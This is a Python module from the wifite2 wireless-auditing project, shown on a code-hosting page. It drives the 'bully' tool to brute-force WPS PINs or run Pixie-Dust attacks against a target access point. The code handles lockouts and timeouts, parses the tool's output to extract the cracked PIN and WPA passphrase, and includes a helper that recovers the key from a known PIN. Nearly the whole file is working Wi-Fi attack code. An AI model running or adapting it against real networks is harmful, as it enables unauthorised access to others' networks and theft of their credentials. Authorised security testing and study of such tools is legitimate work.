Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/tools/bully.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from .dependency import Dependency
5
from .airodump import Airodump
6
from ..model.attack import Attack
7
from ..model.wps_result import CrackResultWPS
8
from ..util.color import Color
9
from ..util.timer import Timer
10
from ..util.process import Process
11
from ..config import Configuration
12
13
import os, time, re
14
from threading import Thread
15
16
class Bully(Attack, Dependency):
17
dependency_required = False
18
dependency_name = 'bully'
19
dependency_url = 'https://github.com/aanarchyy/bully'
20
21
def __init__(self, target, pixie_dust=True):
22
super(Bully, self).__init__(target)
23
24
self.target = target
25
self.pixie_dust = pixie_dust
26
27
self.total_attempts = 0
28
self.total_timeouts = 0
29
self.total_failures = 0
30
self.locked = False
31
self.state = '{O}Waiting for beacon{W}'
32
self.start_time = time.time()
33
self.last_pin = ""
34
self.pins_remaining = -1
35
self.eta = ''
36
37
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
38
self.crack_result = None
39
40
self.cmd = []
41
42
if Process.exists('stdbuf'):
43
self.cmd.extend([
44
'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292
45
])
46
47
self.cmd.extend([
48
'bully',
49
'--bssid', target.bssid,
50
'--channel', target.channel,
51
#'--detectlock', # Detect WPS lockouts unreported by AP
52
53
# Restoring session from '/root/.bully/34210901927c.run'
54
# WARNING: WPS checksum was bruteforced in prior session, now autogenerated
55
# Use --force to ignore above warning(s) and continue anyway
56
'--force',
57
58
'-v', '4',
59
Configuration.interface
60
])
61
62
if self.pixie_dust:
63
self.cmd.insert(-1, '--pixiewps')
64
65
self.bully_proc = None
66
67
68
def run(self):
69
with Airodump(channel=self.target.channel,
70
target_bssid=self.target.bssid,
71
skip_wps=True,
72
output_file_prefix='wps_pin') as airodump:
73
# Wait for target
74
self.pattack('Waiting for target to appear...')
75
self.target = self.wait_for_target(airodump)
76
77
# Start bully
78
self.bully_proc = Process(self.cmd,
79
stderr=Process.devnull(),
80
bufsize=0,
81
cwd=Configuration.temp())
82
83
# Start bully status thread
84
t = Thread(target=self.parse_line_thread)
85
t.daemon = True
86
t.start()
87
88
try:
89
self._run(airodump)
90
except KeyboardInterrupt as e:
91
self.stop()
92
raise e
93
except Exception as e:
94
self.stop()
95
raise e
96
97
if self.crack_result is None:
98
self.pattack('{R}Failed{W}', newline=True)
99
100
def _run(self, airodump):
101
while self.bully_proc.poll() is None:
102
try:
103
self.target = self.wait_for_target(airodump)
104
except Exception as e:
105
self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
106
Color.pexception(e)
107
self.stop()
108
break
109
110
# Update status
111
self.pattack(self.get_status())
112
113
# Thresholds only apply to Pixie-Dust
114
if self.pixie_dust:
115
# Check if entire attack timed out.
116
if self.running_time() > Configuration.wps_pixie_timeout:
117
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % (
118
Configuration.wps_pixie_timeout), newline=True)
119
self.stop()
120
return
121
122
# Check if timeout threshold was breached
123
if self.total_timeouts >= Configuration.wps_timeout_threshold:
124
self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % (
125
Configuration.wps_timeout_threshold), newline=True)
126
self.stop()
127
return
128
129
# Check if WPSFail threshold was breached
130
if self.total_failures >= Configuration.wps_fail_threshold:
131
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % (
132
Configuration.wps_fail_threshold), newline=True)
133
self.stop()
134
return
135
else:
136
if self.locked and not Configuration.wps_ignore_lock:
137
self.pattack('{R}Failed: {O}Access point is {R}Locked{O}',
138
newline=True)
139
self.stop()
140
return
141
142
143
time.sleep(0.5)
144
145
146
def pattack(self, message, newline=False):
147
# Print message with attack information.
148
if self.pixie_dust:
149
# Count down
150
time_left = Configuration.wps_pixie_timeout - self.running_time()
151
attack_name = 'Pixie-Dust'
152
else:
153
# Count up
154
time_left = self.running_time()
155
attack_name = 'PIN Attack'
156
157
if self.eta:
158
time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta
159
else:
160
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
161
162
if self.pins_remaining >= 0:
163
time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining
164
else:
165
time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts
166
167
Color.clear_entire_line()
168
Color.pattack('WPS', self.target, attack_name,
169
'{W}[%s] %s' % (time_msg, message))
170
171
if newline:
172
Color.pl('')
173
174
175
def running_time(self):
176
return int(time.time() - self.start_time)
177
178
179
def get_status(self):
180
main_status = self.state
181
182
meta_statuses = []
183
if self.total_timeouts > 0:
184
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
185
186
if self.total_failures > 0:
187
meta_statuses.append('{O}Fails:%d{W}' % self.total_failures)
188
189
if self.locked:
190
meta_statuses.append('{R}Locked{W}')
191
192
if len(meta_statuses) > 0:
193
main_status += ' (%s)' % ', '.join(meta_statuses)
194
195
return main_status
196
197
198
def parse_line_thread(self):
199
for line in iter(self.bully_proc.pid.stdout.readline, b''):
200
if line == '': continue
201
line = line.decode('utf-8')
202
line = line.replace('\r', '').replace('\n', '').strip()
203
204
if Configuration.verbose > 1:
205
Color.pe('\n{P} [bully:stdout] %s' % line)
206
207
self.state = self.parse_state(line)
208
209
self.crack_result = self.parse_crack_result(line)
210
211
if self.crack_result:
212
break
213
214
215
def parse_crack_result(self, line):
216
# Check for line containing PIN and PSK
217
# [*] Pin is '80246213', key is 'password'
218
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
219
if pin_key_re:
220
self.cracked_pin = pin_key_re.group(1)
221
self.cracked_key = pin_key_re.group(2)
222
223
###############
224
# Check for PIN
225
if self.cracked_pin is None:
226
# PIN : '80246213'
227
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
228
if pin_re:
229
self.cracked_pin = pin_re.group(1)
230
231
# [Pixie-Dust] PIN FOUND: 01030365
232
pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
233
if pin_re:
234
self.cracked_pin = pin_re.group(1)
235
236
if self.cracked_pin is not None:
237
# Mention the PIN & that we're not done yet.
238
self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True)
239
240
self.state = '{G}Finding Key...{C}'
241
time.sleep(2)
242
243
###########################
244
# KEY : 'password'
245
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
246
if key_re:
247
self.cracked_key = key_re.group(1)
248
249
if not self.crack_result and self.cracked_pin and self.cracked_key:
250
self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True)
251
self.crack_result = CrackResultWPS(
252
self.target.bssid,
253
self.target.essid,
254
self.cracked_pin,
255
self.cracked_key)
256
Color.pl('')
257
self.crack_result.dump()
258
259
return self.crack_result
260
261
262
def parse_state(self, line):
263
state = self.state
264
265
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
266
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
267
if got_beacon:
268
# group(1)=ESSID, group(2)=BSSID
269
state = 'Got beacon'
270
271
# [+] Last State = 'NoAssoc' Next pin '48855501'
272
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
273
if last_state:
274
# group(1)=NoAssoc, group(2)=PIN
275
pin = last_state.group(2)
276
if pin != self.last_pin:
277
self.last_pin = pin
278
self.total_attempts += 1
279
if self.pins_remaining > 0:
280
self.pins_remaining -= 1
281
state = 'Trying PIN'
282
283
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
284
mx_result_pin = re.search(
285
r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
286
if mx_result_pin:
287
# group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN
288
self.locked = False
289
m_state = mx_result_pin.group(1)
290
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
291
pin = mx_result_pin.group(3)
292
if pin != self.last_pin:
293
self.last_pin = pin
294
self.total_attempts += 1
295
if self.pins_remaining > 0:
296
self.pins_remaining -= 1
297
298
if result in ['Pin1Bad', 'Pin2Bad']:
299
result = '{G}%s{W}' % result
300
elif result == 'Timeout':
301
self.total_timeouts += 1
302
result = '{O}%s{W}' % result
303
elif result == 'WPSFail':
304
self.total_failures += 1
305
result = '{O}%s{W}' % result
306
elif result == 'NoAssoc':
307
result = '{O}%s{W}' % result
308
else:
309
result = '{R}%s{W}' % result
310
311
result = '{P}%s{W}:%s' % (m_state.strip(), result.strip())
312
state = 'Trying PIN (%s)' % result
313
314
# [!] Run time 00:02:49, pins tested 32 (5.28 seconds per pin)
315
re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line)
316
if re_tested:
317
# group(1)=01:23:45, group(2)=1234
318
self.total_attempts = int(re_tested.group(2))
319
320
#[!] Current rate 5.28 seconds per pin, 07362 pins remaining
321
re_remaining = re.search(r' ([0-9]+) pins remaining', line)
322
if re_remaining:
323
self.pins_remaining = int(re_remaining.group(1))
324
325
# [!] Average time to crack is 5 hours, 23 minutes, 55 seconds
326
re_eta = re.search(
327
r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line)
328
if re_eta:
329
h, m, s = re_eta.groups()
330
self.eta = '%sh%sm%ss' % (
331
h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0'))
332
333
# [!] WPS lockout reported, sleeping for 43 seconds ...
334
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
335
if re_lockout:
336
self.locked = True
337
sleeping = re_lockout.group(1)
338
state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping
339
340
# [Pixie-Dust] WPS pin not found
341
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
342
if re_pin_not_found:
343
state = '{R}Failed: {O}Bully says "WPS pin not found"{W}'
344
345
# [+] Running pixiewps with the information, wait ...
346
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
347
if re_running_pixiewps:
348
state = '{G}Running pixiewps...{W}'
349
350
return state
351
352
353
def stop(self):
354
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
355
self.pid.interrupt()
356
357
358
def __del__(self):
359
self.stop()
360
361
362
@staticmethod
363
def get_psk_from_pin(target, pin):
364
# Fetches PSK from a Target assuming 'pin' is the correct PIN
365
'''
366
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
367
PIN : '01030365'
368
KEY : 'password'
369
BSSID : '34:21:09:01:92:7c'
370
ESSID : 'AirLink89300'
371
'''
372
cmd = [
373
'bully',
374
'--channel', target.channel,
375
'--bssid', target.bssid,
376
'--pin', pin,
377
'--bruteforce',
378
'--force',
379
Configuration.interface
380
]
381
382
bully_proc = Process(cmd)
383
384
for line in bully_proc.stderr().split('\n'):
385
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
386
if key_re is not None:
387
psk = key_re.group(1)
388
return psk
389
390
return None
391
392
393
if __name__ == '__main__':
394
Configuration.initialize()
395
Configuration.interface = 'wlan0mon'
396
from ..model.target import Target
397
fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',')
398
target = Target(fields)
399
psk = Bully.get_psk_from_pin(target, '01030365')
400
print('psk', psk)
401
402
'''
403
stdout = " [*] Pin is '11867722', key is '9a6f7997'"
404
Configuration.initialize(False)
405
from ..model.target import Target
406
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
407
target = Target(fields)
408
b = Bully(target)
409
b.parse_line(stdout)
410
'''
411
412